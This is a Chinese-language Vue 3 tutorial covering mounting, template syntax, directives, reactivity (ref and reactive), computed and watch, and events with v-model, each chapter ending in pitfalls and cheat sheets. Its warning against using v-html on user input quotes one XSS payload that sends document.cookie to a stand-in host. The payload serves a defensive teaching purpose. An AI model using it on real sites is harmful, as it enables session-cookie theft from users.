Vue 3 教程:从第一个组件到工程化实战

这门课的顺序是「先能跑,再讲透」:第一到第七章过完模板与响应式这些语法地基,第八到第十一章讲组件之间怎么配合,第十二到第十四章处理生命周期与逻辑复用,第十五、十六章把状态和路由接上,第十七章做一个完整的待办清单,最后两章回到工程化与坑的汇总。每一章结尾都有「⚠️ 本章的坑」和速查表,日后当参考书查就直接翻这两块。

关于版本:本教程基于 Vue 3.5(示例里的运行时是 3.5.43)。页面里的示例用的是「不带构建工具」的引入方式(一个 <script> 标签 + 模板字符串),因为它能直接在浏览器里跑起来;实际项目里写的是单文件组件(.vue),两者的对应关系在第十八章专门列了一张表。语法本身是同一套,只是挂载方式不同。

一、Vue 是什么:从手动改 DOM 到声明式渲染

写页面时最累的不是画布局,而是「数据变了要记得改界面」。手动改 DOM 的写法,数据和界面是两份东西,改一处漏一处,界面就和真实状态对不上了。

Vue 解决的就是这件事:你只描述「界面在给定数据下应该长什么样」,数据一变,Vue 自己算出该改哪几个节点。响应式 + 模板这两件事合起来就是 Vue 的全部核心,后面的组件、路由、状态管理都是在此基础上做组织。

它自称「渐进式框架」,意思是你可以只借用其中一小块:

用法引入方式适合
在已有 HTML 里增强一个 <script> 标签引入全局构建,页面里直接写模板后台管理页的某个表单、老项目加个交互组件
单文件组件(最常见)Vite + npm create vue@latest,代码写在 .vue 文件里独立的前端项目
全栈框架Nuxt(本项目的姊妹篇教程)需要 SEO、首屏速度、服务端渲染的站点

第一个例子:三种写法对照

浏览器里跑起来的最小写法,页面里先放一个容器,再挂一个应用:

<div id="app">{{ message }}</div>

<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
<script>
  Vue.createApp({
    setup() {
      const message = Vue.ref('你好,Vue')
      return { message }
    }
  }).mount('#app')
</script>

同一个例子写成单文件组件(.vue),就是实际项目里的样子:

<script setup>
import { ref } from 'vue'
const message = ref('你好,Vue')
</script>

<template>
  <div>{{ message }}</div>
</template>

除了 import 和 <template> 标签,逻辑完全一样:还是 ref、还是那个变量名。初学时网上会看到两种不同的代码风格,别慌,它们是同一个东西的两种外衣。

组合式 API 与选项式 API

Vue 2 时代只有「选项式」:把代码按 data / methods / computed / mounted 这些选项塞进一个大对象。Vue 3 新增了「组合式」(Composition API):在 setup()(或 <script setup>)里按功能组织代码,一个功能的响应式数据、计算属性、副作用写在一起。

// 选项式:同一个功能的代码被拆到三个选项里
export default {
  data() { return { count: 0 } },
  computed: { double() { return this.count * 2 } },
  mounted() { console.log(this.count) }
}

// 组合式:一个功能从头到尾连着写
import { ref, computed, onMounted } from 'vue'
const count = ref(0)
const double = computed(() => count.value * 2)
onMounted(() => console.log(count.value))

本教程以组合式为主线(新项目、Nuxt、官方文档示例都是它),每章末尾会给出选项式的对应写法,读懂老代码也够用。两者可以混用,但一个组件里最好只用一种。

挂载:createApp 与 mount 的关系

const app = Vue.createApp(RootComponent)   // 创建应用实例,此时什么都还没渲染
app.component('MyBadge', MyBadge)          // 全局注册组件
app.directive('focus', { mounted: (el) => el.focus() })
app.config.errorHandler = (err) => console.error(err)
app.mount('#app')                          // 到这里才真的往 DOM 里画
app.unmount()                              // 卸载(对应 DOM 被清空)

三个容易忽略的点:mount 之前页面里的 {{ message }} 是原样显示的(模板还没被编译);一个页面可以有多个互不相干的 createApp 实例;app.component 之类的注册必须在 mount 之前完成。

示例 01:命令式改 DOM vs 声明式渲染在新标签页打开

示例 01 左右两栏是同一个计数:左边点「+1(忘了同步)」,数据变了界面不动——这就是没有框架时的日常;右边只改数据,界面里的数字和那句 v-if 的话自己冒出来。

⚠️ 本章的坑

1. 挂载目标必须先存在于 DOM。 mount('#app') 时页面里没有 id="app",Vue 直接报 Failed to mount app: mount target not found。脚本放在 <head> 里、或者放在容器元素之前,都会撞上。把脚本放在 </body> 前,或给 <script> 加 defer。

2. 浏览器里写 in-DOM 模板,标签名和属性名会被转成小写。 <UserCard userName="a"> 在 HTML 里会被解析成 usercard + username,组件找不到、props 收不到。浏览器里请写 kebab-case:<user-card user-name="a">;.vue 文件里没这个限制(这也是示例用模板字符串的原因)。

3. {{ }} 会先在页面上闪一下。 因为 HTML 已经渲染、Vue 还没挂载。用 v-cloak + [v-cloak]{display:none},或者把脚本放前面。

4. 引入 vue.global.js(开发版)和 vue.global.prod.js(生产版)差别很大。 类型警告、性能提示只有开发版会打印;生产版为了体积把这些都剥掉了。学习阶段一律用开发版,别把「没报错」当成「没写错」。

5. 多个 createApp 之间不共享注册。 在 app1 上 component() 注册过的组件,app2 里用不了,会报 Unknown custom element。需要共享就用插件(app.use())或干脆只有一个根应用。

6. setup() 里不能用 this。 组合式在 this 绑定之前执行;<script setup> 更是根本没有 this。要从选项式转过来,把 this.xxx 全换成局部变量。

附:两套 API 风格对照速查

要做的事组合式(本教程用法)选项式(老代码里常见)
声明响应式数据const n = ref(0)data() { return { n: 0 } }
计算属性const d = computed(() => n.value * 2)computed: { d() { return this.n * 2 } }
监听watch(n, cb)watch: { n: cb }
挂载后执行onMounted(cb)mounted() {}
卸载前清理onBeforeUnmount(cb)beforeUnmount() {}
方法普通函数 function add() {}methods: { add() {} }
注册组件import X from './X.vue'(<script setup> 自动可用)components: { X }

二、模板语法:插值、动态属性与表达式的边界

模板 = HTML + 两样东西:{{ }} 插值 和 v-xxx 指令。它不是「在 HTML 里写 JS」,能放的位置和能写的表达式都有边界,越界要么编译失败,要么行为和你预期相反。

插值:{{ }} 是转义的,v-html 不是

<template>
  <p>{{ msg }}</p>                          <!-- 内容是字符串就原样显示,HTML 标签被转义 -->
  <p v-html="msg"></p>                      <!-- 内容被当成 HTML 解析 -->
  <p>{{ count + 1 }}</p>                    <!-- 表达式 -->
  <p>{{ ok ? '可用' : '禁用' }}</p>          <!-- 三元 -->
  <p>{{ list.length }}</p>                   <!-- 属性访问 -->
  <p>{{ msg.split('').reverse().join('') }}</p>  <!-- 方法调用链 -->
</template>

一条铁律:v-html 永远不要用在用户输入上。它不做转义,用户贴一段 <img src=x onerror="fetch('//evil.com?c='+document.cookie)"> 就在你的页面里执行了(XSS)。要做富文本渲染,先把内容净化(DOMPurify 一类),或者只显示纯文本。

动态属性:v-bind 与它的缩写 :

给属性绑定值必须加 v-bind,否则拿到的是字符串字面量:

<a :href="url">链接</a>          <!-- url 变量的值 -->
<a href="url">链接</a>           <!-- 字符串 "url",十有八九是 bug -->
<img :src="src" :alt="alt">
<input :value="text" :disabled="isLoading">
<div :id="domId" :data-index="i">

三个细节值得记住:

  • 布尔属性用 :disabled="false" 才会真的移除该属性;写 disabled="false" 反而等于启用(HTML 里有这个属性就是真)。
  • 动态属性名用方括号::[attrName]="value",attrName 里放变量。
  • 一次性绑多个属性:v-bind="{ a: 1, b: 2 }" 或直接 v-bind="obj",组件里常用于把 $attrs 透传下去。

能写表达式,不能写语句

{{ }} 和指令的值位置只接受表达式(能算出一个值的东西)。if、for、while、var/let 声明、多条语句用分号串起来,这些都不行:

<p>{{ if (a) { 'x' } }}</p>       ✗ 语句,编译报错
<p>{{ a > 1 ? 'x' : 'y' }}</p>    ✓ 三元表达式
<p>{{ list.filter(x => x.ok) }}</p>   ✓ 但要短,长了就挪进 computed

判断标准很简单:写两行以上逻辑、或者要用到别的响应式变量的中间结果,就别塞在模板里,挪去 computed(第五章)。模板里堆长表达式,日后没人愿意读,也无法单测。

表达式里能直接用什么

模板表达式在一个受限的沙箱里执行。可以直接用的有:组件自身 setup 返回的变量、Math、Date、JSON、parseInt、parseFloat 等一小撮全局白名单,以及全局属性(app.config.globalProperties)。

不能直接用的:import、require、process、localStorage、你自己的工具函数。想用工具函数有两种路子——import 进来再 return(或 <script setup> 里直接 import 就可用),或者封装成全局属性/组合式函数。

<script setup>
import { formatDate } from '@/utils/date'   // <script setup> 里 import 完模板就能用
</script>
<template>
  <span>{{ formatDate(created) }}</span>
</template>

Vue 2 的过滤器语法 {{ price | currency }} 在 Vue 3 里已删除,替代品就是 computed 或方法调用。接手老代码时全局搜 | 插值是最快的一刀。

示例 02:插值、v-html、动态属性与表达式边界在新标签页打开

⚠️ 本章的坑

1. {{ }} 里写了语句,整个组件白屏。 模板编译错误在开发版是醒目的报错,生产版可能只剩一句 Property or method ... is not defined。别靠猜,看到空白先去控制台第一行找 error compiling template。

2. 属性大小写。 :userName 在浏览器 in-DOM 模板里变成 :username,props 收不到值。模板里请统一 kebab-case。

3. 自闭合标签只在 .vue 里合法。 <user-card /> 在浏览器解析的 HTML 里会被当成「开始标签没结束」,把后面的内容全吞进它的插槽。页面里写模板时老实补上 </user-card>。

4. v-html 里不能用插值。 内容被当作 HTML 片段处理,{{ }} 不再解析——很多人在这卡半小时。要混用就拆开写:<p>前缀 <span v-html="html"></span></p>。

5. :src="null" 不等于「不显示」。 属性值为 null/undefined 时会被移除,但 '' 会保留成 src="",浏览器会按当前页面 URL 请求一次图片,控制台出现诡异的 404。要么 v-if 控制渲染,要么给一个真实占位图。

6. 数字字符串的坑。 :count="1" 传的是数字,count="1" 传的是字符串 "1"。组件里做 props.count > 1 时后者会意外成立/失败,靠 props 类型校验(第九章)把这类问题挡在开发版。

7. 自定义插号分隔符在 Vue 3 被移除。 老代码里的 delimiters: ['${', '}'](为了兼容后端模板)在 Vue 3 不存在了,改用 v-text 或者转义后端标签。

附:模板语法速查

想做的事写法备注
输出文本{{ msg }}自动转义,安全
输出 HTMLv-html="msg"有 XSS 风险,别用于用户输入
绑定属性:href="url"v-bind: 的缩写
动态属性名:[name]="value"方括号里是变量
一次绑多属性v-bind="obj"常配 $attrs
布尔属性:disabled="isOff"值为假时移除属性
条件渲染v-if / v-else-if / v-else假时节点不存在
切换显示v-show节点在,只是 display:none
列表v-for="item in list" :key="item.id"key 必填(第十一章)
事件@click="doIt"v-on: 的缩写
表单双向v-model="text"第六章
插槽<slot> / #name / v-slot第十章
只渲染一次v-once静态内容提速
跳过编译v-pre展示模板代码时必用
挂载前隐藏v-cloak配合 CSS 防闪烁

三、指令:条件、循环、事件与动态参数

指令就是模板里的「特殊属性」,以 v- 开头,告诉 Vue「对这个元素做点什么」。统一结构:

v-name:argument.modifier1.modifier2="expression"
│    │        │                    │
指令 参数      修饰符                表达式(不能是语句)

看三个例子就能对上号:v-on:click.stop="close"(事件指令 + 参数 click + 修饰符 stop)、v-bind:href="url"(属性绑定)、v-slot:header(插槽具名)。v-on: 和 v-bind: 用得最多,所以有缩写 @click 和 :href;v-slot: 的缩写是 #header。

条件:v-if 与 v-show 选哪个

v-ifv-show
假的时元素不在 DOM 里在 DOM 里,style="display:none"
切换开销销毁/重建,有子组件生命周期只改一个 CSS 属性
初始开销假时完全不渲染,几乎为零一样要渲染
支持 <template> 分组支持不支持(需要真实元素)
适合很少切换、初始就该省掉频繁切换(tab 面板、下拉展开)

v-else / v-else-if 必须紧跟在上一个 v-if 元素之后(中间只能有空格和 HTML 注释),否则 Vue 找不到配对、直接报错。

循环、事件、绑定:一次看全

<template>
  <li v-for="(user, i) in users" :key="user.id">{{ i + 1 }}. {{ user.name }}</li>

  <button @click="count++">计数 {{ count }}</button>
  <form @submit.prevent="onSubmit">          <!-- .prevent 拦住默认提交 -->
    <input v-model="q" @keyup.enter="search">  <!-- 按键修饰符 -->
  </form>

  <div :class="{ panel: true, active: isOpen }" :style="{ height: h + 'px' }">
    <p v-show="isOpen">内容</p>
    <p v-text="msg"></p>                     <!-- 等价于 {{ msg }},但会被 innerText 覆盖 -->
    <p v-pre>这里的 {{ code }} 原样显示</p>   <!-- 展示模板代码专用 -->
  </div>
</template>

内置指令一共十几个,完整清单在本章末尾的速查表里。这里只强调三个不常被注意的:

  • v-cloak:配合 [v-cloak]{display:none} 解决挂载前的 {{ }} 闪烁。
  • v-once:元素渲染一次后不再更新,用于纯静态内容(省下一遍 diff)。
  • v-memo:v-memo="[依赖项]",依赖不变时跳过整棵子树更新,是长列表的兜底加速手段(第十一章有场景)。

自定义指令:给元素挂点「行为」

组件解决「一块界面」,指令解决「某个元素上的 DOM 行为」(聚焦、拖拽、埋点、水波纹)。

// 全局注册
app.directive('focus', {
  mounted(el) { el.focus() }
})

// 组件内局部注册(组合式里用 vFocus,模板里仍写 v-focus)
const vFocus = { mounted: (el) => el.focus() }
<input v-focus>
<div v-track:click="'首页按钮'">带参数和修饰符也行</div>

钩子按用途挑:只在挂载时干一次用 mounted;每次更新都要同步 DOM 用 updated;需要区分「值变了」和「组件重渲染」用带 oldValue 的 beforeUpdate/updated;卸载清理用 unmounted。指令里不要写业务逻辑、不要去改响应式数据——它只负责「对这个 DOM 元素做操作」。

示例 03:v-if/v-show 的真差别、动态参数与事件修饰符在新标签页打开

示例 03 里可以直接数 DOM 节点:v-if 关掉时元素真的没了,v-show 关掉时它只是被 display:none 藏起来;第三块能看到冒泡链路(不加 .stop 会先 inner 后 outer)。

⚠️ 本章的坑

1. 指令的值必须是表达式,且不能声明变量。 v-if="const a = 1"、v-for="let x of list" 都编译失败。想要中间变量就用 computed。

2. v-if 和 v-for 写在同一个元素上。 Vue 3 里 v-if 优先级更高,它会先执行——此时 v-for 的 item 还不存在,报 item is not defined。解法三条(第十一章细讲):把 v-if 挪到外层 <template>、用 computed 先过滤、或把循环体拆成子组件。这是 Vue2 升级到 Vue3 最常见的报错来源之一。

3. v-show 不能用在 <template> 或组件上。 它需要一个能改 style 的真实元素;组件是多根时也没地方落。

4. 自定义指令加在组件上时,只有单根组件生效。 它拿不到组件内部元素,会尝试落到根元素;多根(fragment)时直接警告并失效。

5. 动态参数里别放空格、大写或复杂表达式。 :[name] 里的 name 求值结果若是 undefined,整个绑定属性会被移除(有时是你想要的,有时是漏配的 bug)。浏览器 in-DOM 模板里动态参数还会遇到大小写转换问题。

6. 修饰符顺序有意义。 @click.stop.prevent 与 @click.prevent.stop 都能工作,但 @click.self.stop 里 .self 会先做判断,后面的处理函数可能根本不执行。想搞清先后就照官方文档顺序读,别猜。

7. 拼错指令名不会报错,只会「什么都没发生」。 v-onClck、v-modle 这类拼写错误 Vue 不会拦(开发版有 v-modle 的提示,但不覆盖全部),排查时先 grep 一遍 v- 开头的属性名。

附:内置指令速查表

指令作用典型写法
v-text / v-html设置 textContent / innerHTMLv-text="msg"
v-show切换 displayv-show="isOpen"
v-if / v-else-if / v-else条件渲染(增删节点)v-else-if="n > 3"
v-for列表/对象/数字/字符串遍历v-for="(v, k) in obj" :key="k"
v-on (@)监听事件,支持修饰符@keyup.esc="close"
v-bind (:)绑定属性/props/样式/class:class="clsObj"
v-model表单/组件双向绑定v-model.trim="q"
v-slot (#)插槽#header="{ title }"
v-pre跳过该元素及其子树的编译展示模板代码
v-cloak挂载完成前保留该属性配合 CSS 防闪烁
v-once只渲染一次纯静态块
v-memo依赖不变时跳过子树更新v-memo="[row.id]"
事件修饰符等价于
.stopevent.stopPropagation()
.preventevent.preventDefault()
.capture用捕获阶段监听
.self只有 event.target 是自己时才触发
.once只触发一次
.passive{ passive: true },滚动不阻塞(不能同时 .prevent)
.keyup.enter / .esc / .tab / .space / .up …按键名/系统别名
.left / .right / .middle鼠标按键

四、ref 与 reactive:响应式对象的入口

响应式的原理值得知道一句:Vue 3 用 Proxy 代理对象,「读」的时候记录谁在用这个属性,「写」的时候通知这些使用者重新渲染。这条机制决定了两件事——基本类型没法被代理(所以要有 ref),以及代理对象一旦被替换或解构,链路就断了(所以有那一堆坑)。

ref:一切的入口

<script setup>
import { ref } from 'vue'
const count = ref(0)              // 返回 { value: 0 } 这样的「引用对象」
const user = ref({ name: '阿蓝' }) // 也能装对象/数组
</script>

<template>
  <p>{{ count }}</p>              <!-- 模板里自动解包,不用写 .value -->
  <button @click="count++">+1</button>   <!-- 模板里也能直接用(编译器加了 .value) -->
</template>

规则只有两条,但必须刻进肌肉记忆:

  1. 在 JS 里读写 ref 必须带 .value。 count++ 不会报错(把一个对象当数字加),而是安静地变成 NaN——示例 04 现场演示了这个瞬间。
  2. 在模板里不需要 .value(顶层 ref 自动解包)。例外:ref 藏在普通对象里时不解包,{{ obj.count.value }} 得写全。
const state = { count: ref(0) }   // ✗ 普通对象里的 ref 模板里要写 .value
const state = reactive({ count: ref(0) })  // ✓ reactive 对象内部的 ref 自动解包

reactive:对象专用,但有三个限制

const form = reactive({ name: '', tags: [], meta: { ver: 1 } })
form.name = '小青'          // 不用 .value,直接改
form.tags.push('新')        // 数组的 push/splice/索引赋值都能被捕获

reactive 的三条边界,第一条就淘汰掉了大部分「到处 reactive」的写法:

限制一:解构即失效。 const { name } = form 拿到的是普通字符串,之后 form.name = 'x' 它不会变。补救是 toRefs(form)(解构出来的每个字段仍是 ref)。

限制二:整体替换会断链。 form = reactive({ ... }) 把模板绑定的那个代理对象换掉了,界面停在旧值。要清空请写 Object.assign(form, newData),或者干脆用 ref 装整个对象(ref 允许重新赋值 .value)。

限制三:不能包装基本类型。 reactive(0)、reactive('a') 直接报错——这正是 ref 存在的理由。

实际项目的选择建议:默认全用 ref,需要一组高度内聚、整体传递的对象数据时再用 reactive。理由:ref 的规则统一(永远 .value),不会出现「解构后悄悄失效」这类难查的 bug,也便于 TS 推断。

局部跳过响应式:shallowRef、shallowReactive、markRaw、toRaw

大对象(ECharts 实例、地图数据、上千行的原始列表)全量代理既慢又没必要:

const chart = shallowRef(null)       // 只有 .value 被替换时才触发更新
chart.value = newChart
triggerRef(chart)                     // 换了内部属性但想强制刷新时手动触发

const raw = markRaw(hugeConfig)       // 永久标记为「不代理」,放进 reactive 也不转
const plain = toRaw(state)            // 拿回 reactive 背后的原始对象(做深拷贝/存库时用)
const clone = JSON.parse(JSON.stringify(toRaw(state)))  // 存 sessionStorage 的正路

数组列表性能场景还有个专门写法:shallowRef + 整体替换新数组(list.value = newList),比 ref 深代理省一大截开销。

示例 04:ref 与 reactive 的使用边界在新标签页打开

示例 04 的四块面板分别演示:忘写 .value 的 NaN 现场、reactive 解构后失效与 toRefs 修复、reactive 整体替换后界面不动,以及 ref 装数组时 push 为什么能更新界面。

⚠️ 本章的坑

1. 解构 reactive 对象就丢响应性(最常见、最难查)。const { count } = state 之后改 state.count,界面不动也不报错。用 toRefs,或者从一开始就用 ref 存单个值。

2. props 的解构同理。 const { title } = defineProps([...]) 在 3.5 之前是「断掉响应」的写法;现在编译器会给出警告(Vue 3.5 props 解构是响应式安全的 属于新特性,老项目里务必确认版本)。拿不准就老实写 props.title。

3. 把 reactive 对象直接传给函数后重新赋值,外面看不到。 function reset(s) { s = {} } 只是改了局部变量。断链问题在传参、Object.assign 目标搞错时反复出现。

4. watch 一个 reactive 对象默认是深监听。 对象一大、嵌套一深,每次改动都全量遍历(第五章给省法)。

5. 存到 sessionStorage / 发给后端之前要 toRaw + 深拷贝。 JSON.stringify(reactive对象) 能工作,但里面若混了 ref 会多出 {"value": ...} 这种结构,接口对不上。

6. 模板里给 ref 赋的是 .value 的语义,写错类型会静默失败。 list.push(x) 对 ref([]) 是错的(list 是引用对象不是数组),要 list.value.push(x)。这类错误 Vue 不报,只在运行时炸出 push is not a function。

7. 别在循环里动态创建 ref。 for (const k of keys) refs[k] = ref(0) 这种写法本身合法,但随后放进 reactive 里再解构就会让你分不清手上拿的是 ref 还是值。列表状态请用一个 ref(数组),索引即位置(第十一章会讲为什么不能用 index 当 key)。

附:响应式 API 速查

API用来装解构安全整体替换典型场景
ref(v)任意值(含基本类型)—✓(改 .value)默认选择
reactive(o)对象/数组✗ 解构失效✗ 断链一组内聚的表单字段
shallowRef(v)大对象/实例—✓ECharts、地图、大列表
shallowReactive(o)对象(只代理第一层)部分✗表格行数据
toRef(o, 'k')从 reactive 里取一个字段✓—props 转发、组合式入参
toRefs(o)整个 reactive 展开成 ref 集✓—组合式函数返回多个状态
markRaw(v)标记永不代理——第三方实例
toRaw(v)取回原始对象——深拷贝、序列化
triggerRef(r)手动触发 shallowRef 更新——深层修改后强制刷新
unref(v) / isRef(v)取值 / 判断——写通用工具函数

五、computed 与 watch:派生值要缓存,副作用要侦听

一句话选型:「界面要显示的一个值」用 computed,「数据变了之后要去干一件事」用 watch。 干的事指的是请求、埋点、操作 DOM、写 localStorage——这些不该出现在 computed 里。

computed:会缓存的派生值

<script setup>
import { ref, computed } from 'vue'
const list = ref([{ name: 'a', price: 10 }, { name: 'b', price: 20 }])
const keyword = ref('')

const total = computed(() => list.value.reduce((s, x) => s + x.price, 0))
const filtered = computed(() =>
  list.value.filter(x => x.name.includes(keyword.value))
)
</script>

computed 与「直接在模板里调方法」的区别是缓存:依赖不变时读多少次都返回同一个结果,不会重新执行函数;方法调用则是每次渲染都跑一遍。示例 05 里有个计数器,连点「与计算无关」的按钮你能直观看到:方法版本调用次数一路上涨,computed 版本纹丝不动。

列表过滤、汇总、格式化这三类需求,几乎都该落在 computed 上(而不是 watch 里手动重算一份数据存起来——那会造出「两份数据要对齐」的新问题)。

可写 computed

const celsius = ref(25)
const fahrenheit = computed({
  get: () => celsius.value * 9 / 5 + 32,
  set: (v) => { celsius.value = (v - 32) * 5 / 9 }
})

给 v-model 指向一个「看起来是独立字段、其实是别的字段的换算」的场景非常顺手(示例 05 里两个输入框互相同步就是这个写法)。

watch:知道旧值,才能做增量

// ① 监听单个 ref
watch(keyword, (newV, oldV) => { log(`关键词 ${oldV} → ${newV}`) })

// ② 监听 reactive 的某个字段:必须写成 getter
const state = reactive({ count: 0 })
watch(() => state.count, (v) => { /* ... */ })

// ③ 监听多个来源
watch([a, b], ([av, bv]) => { /* ... */ })

// ④ 需要「深层」变化时显式开启
watch(() => state.list, (v) => { /* ... */ }, { deep: true })

// ⑤ 立即执行一次(否则第一次不触发)
watch(keyword, cb, { immediate: true })

// ⑥ 拿到 stop 函数手动停止(组件外创建的 watch 一定要停)
const stop = watch(source, cb)
// ... 不需要时
stop()

watch 的选项一共四个常用的:immediate(立即跑一次)、deep(深层遍历)、flush('pre' 默认,DOM 更新前;'post' 更新后,需要读 DOM 时用它;'sync' 同步执行,几乎不用来避免性能问题)、以及第三个参数返回值 onCleanup(见下)。

watchEffect:自动追踪,配合 onCleanup 做防抖

const query = ref('')
watchEffect((onCleanup) => {
  const timer = setTimeout(() => search(query.value), 300)
  onCleanup(() => clearTimeout(timer))   // 下次执行前 / 停止时自动调用
})

watchEffect 不需要声明监听谁,函数里读到的响应式都被记录。代价是可读性:依赖是隐式的,别人(和三个月后的你)看不出这段代码会在什么时机跑。项目里的实践约定是:只在「依赖多、且就是要跟着全部依赖走」时用,通常配合 onCleanup 处理订阅/定时器/请求取消。

示例 05:computed 的缓存、可写 computed 与 watch 的触发矩阵在新标签页打开

示例 05 的第三块给出了一张「哪种改动触发了哪几个 watch」的矩阵——这一节的坑基本都在这张表里。

⚠️ 本章的坑

1. computed 里写副作用。 在 getter 里 emit、发请求、改别的 ref,会形成「渲染 → 改数据 → 再渲染」的循环,开发版报 Maximum recursive updates exceeded。派生就纯派生。

2. computed 里访问了「还没声明」的响应式变量。 const a = computed(() => b.value) 写在 const b = ref(0) 之前,首次求值时 b 是 undefined(TDZ 或直接报错)。顺序摆正,或者把 computed 放到依赖之后。

3. 监听 reactive 对象不写 getter,又忘了它是深监听。 watch(state, cb)(state 是 reactive)默认 deep: true,对象一大每次改动都全量遍历;而且由于引用没变,newV 和 oldV 是同一个对象,拿不到「旧值」。只关心某个字段就写 () => state.count。

4. 监听一个「对象引用」而不是内容。 watch(() => obj.data, cb),你在 cb 里改 obj.data 的字段而不是替换整个对象,就不会再触发。要么 deep,要么换成监听 () => obj.data.length 这类标量。

5. 忘停的 watch 是内存泄漏。 在组合式函数、插件、watch 于 setTimeout 回调里创建等「脱离组件实例」的场景创建的 watch,不会被自动回收。拿到返回的 stop 并在 onBeforeUnmount 里调用。

6. immediate: true 首次回调时依赖可能是空。 典型的翻车是首次就发请求,参数还是 undefined。要么先判空,要么把「初始化」单独写。

7. 异步 watch 的竞态。 watch(id, async () => { data.value = await fetchDetail(id.value) }):快速切换 id 时,先发的慢请求可能后返回,覆盖掉新数据。解法是本地一个「请求序号/最新 id」对比,或者用 onCleanup + AbortController 取消上一次请求。

8. flush: 'post' 才是读 DOM 的时机。 想在数据变化后读更新后的 DOM(比如滚动到底部),默认 'pre' 时机读到的是旧 DOM。更稳的做法是 nextTick()(第十二章)。

附:computed / watch / watchEffect 选择表

需求用什么理由
界面要显示一个算出来的值computed有缓存、纯函数、模板里读着舒服
值需要双向换算(可 v-model)可写 computedget/set 成对写,不用手动同步
数据变了要发请求 / 写存储 / 埋点watch能拿旧值、能控制 deep/immediate
依赖很多且都相关(搜索防抖)watchEffect + onCleanup自动收集依赖,省去一长串监听列表
只想知道「渲染完成了」onUpdated / nextTick见第十二章,别用 watch 代替生命周期
watch 选项默认说明
immediatefalse创建时立刻用当前值执行一次回调
deepreactive 源为 true,其他 false深层遍历比较,代价随对象体积增长
flush'pre''pre' 组件更新前 / 'post' 更新后(读 DOM) / 'sync' 同步
once(3.5+)false触发一次后自动停止,替代手写 stop()

六、事件处理与 v-model:表单是双向绑定的主战场

事件是「用户操作 → 数据变化」,v-model 是「数据 ⇄ 表单控件」双向同步。两者都写在模板里,规则却不太一样:@ 后面那串是「语句或表达式」,v-model 背后其实是两个绑定。

事件:@click 后面能写什么

<template>
  <button @click="count++">自增</button>                 <!-- 内联表达式 -->
  <button @click="add(2)">加 2</button>                   <!-- 内联调用,传自己的参数 -->
  <button @click="onKey($event, 'save')">带 $event</button>  <!-- 需要事件对象时显式写 $event -->
  <button @click="submit">直接给函数引用</button>          <!-- 参数是原生 event(或 emit 的载荷) -->
</template>

「写函数名」和「写函数名+括号」的差别很关键:@click="submit" 会把原生 event 当第一个参数传进去;@click="submit()" 则不传参。需要 event 又怕被别的东西污染,就显式写 $event。

function onKey(e, action) {
  console.log(e.key, action)   // e 是 KeyboardEvent
}

修饰符:省掉那些 e.stopPropagation()

<form @submit.prevent="onSubmit">              <!-- 阻止默认提交(页面刷新) -->
<div @click="outer">
  <button @click.stop="inner">不冒泡</button>   <!-- 只触发 inner -->
  <button @click.self="outer">只有点自己才触发</button>
  <button @click.capture="log">捕获阶段先走我</button>
  <button @click.once="claim">只能点一次</button>
</div>
<input @keyup.enter="search" @keyup.esc="clear">
<div @touchmove.passive="onMove">滚动不阻塞</div>   <!-- passive 里不能再 preventDefault -->

.passive 用来给移动端滚动优化(告诉浏览器你不会阻止默认行为);.prevent 与 .passive 冲突,同时写会收到警告。

v-model:各控件里存的到底是什么

v-model="x" 展开是 :value="x" + @input="x = $event.target.value"(组件上则是 modelValue + update:modelValue)。因为它是「语法糖」,不同控件下 x 的类型会不一样——这是本章最容易踩的地方,示例 06 把每种控件的当前值和类型实时打在旁边。

控件v-model 绑的值说明
<input type="text"> / <textarea>字符串输入即同步
<input type="checkbox">(单个)布尔想绑别的值要用 true-value / false-value
<input type="checkbox">(同组多个)数组勾中的 value 被 push 进数组
<input type="radio">被选中项的 value同一组共用一个 v-model
<select>选中项的值加 multiple 时是数组
<input type="date"> 等字符串格式由浏览器控件决定
<input v-model.number="age">      <!-- 尝试 parseFloat,失败保持原样 -->
<input v-model.trim="name">       <!-- change 时自动去首尾空格 -->
<input v-model.lazy="comment">    <!-- blur 才同步(长文本输入减少重渲染) -->
<input v-model="text" :value="text">  <!-- 别这么写:v-model 会覆盖 value -->

三个修饰符的行为细节:.number 遇到空串会留下 '' 而不是 0(校验时注意);.lazy 让同步发生在 change(失焦)而不是 input;.trim 与 .lazy 组合使用效果最好(失焦时才裁剪)。

事件与 v-model 的配合:表单校验最小可用版

<script setup>
import { reactive, computed } from 'vue'
const form = reactive({ name: '', age: '', agree: false })
const nameErr = computed(() => form.name.trim() ? '' : '姓名必填')
const canSubmit = computed(() => !nameErr.value && form.agree)

function submit() {
  if (!canSubmit.value) return
  // 提交逻辑:这里才真的发请求
}
</script>

<template>
  <form @submit.prevent="submit">
    <input v-model.trim="form.name" placeholder="姓名">
    <p v-if="nameErr" class="err">{{ nameErr }}</p>
    <input v-model.number="form.age" type="number" min="1" placeholder="年龄">
    <input id="agree" v-model="form.agree" type="checkbox">
    <label for="agree">同意条款</label>
    <button type="submit" :disabled="!canSubmit">提交</button>
  </form>
</template>

这段是「入门级表单」的标准形状:数据源只有一个(form),校验用 computed 派生,提交用 @submit.prevent。别在 watch 里再维护一份 errors 数据,那是「两份状态要对齐」的老问题。

示例 06:事件修饰符与 v-model 在各控件上的类型在新标签页打开

⚠️ 本章的坑

1. v-model 会忽略控件上写死的 value / checked。 Vue 3 明确不允许在 v-model 上再用这些属性当初始值——初始值请到绑定的数据里给(ref('初始'))。想给 checkbox 绑自定义值用 true-value/false-value。

2. 单个 checkbox 上误用 value。 v-model="x" value="A"(x 是字符串)不会得到 'A',会得到布尔值。想收集多选项必须是「数组型 v-model」:v-model="arr" + 每个 input 带不同 value。

3. 组件标签上的 v-model 默认失效。 子组件没声明 modelValue props 也没 emit('update:modelValue') 时,输入界面有反应、父级数据纹丝不动。组件的 v-model 在第九章展开(一行 defineModel() 就能补齐)。

4. @keyup.enter 在中文输入法下不准。 输入法组合期间的按键事件会被打断,需要「按回车才搜索」的框建议监听 change 或加 @keyup.enter.native 时代的替代:直接用 @keyup="debouncedSearch" + .lazy 组合,或监听 IME 的 compositionstart/end。

5. 事件监听器在 @ 上加了修饰符就不能再传 $event 以外的隐式参数。 @click="handle('a')" 之后想拿事件对象,必须写全 @click="handle('a', $event)"。

6. 复用同一个 v-model 到多个控件时小心互相覆盖。 一组 radio 共用一个 v-model 是对的;两个不同用途的输入框共用一个 v-model 就是 bug(会互相打字)。

7. v-model 配合 v-if 切换表单块,状态不会自动清。 DOM 销毁了,数据还在。需要「切步骤就清空」,用 :key="step" 强制重建组件,或手动重置。

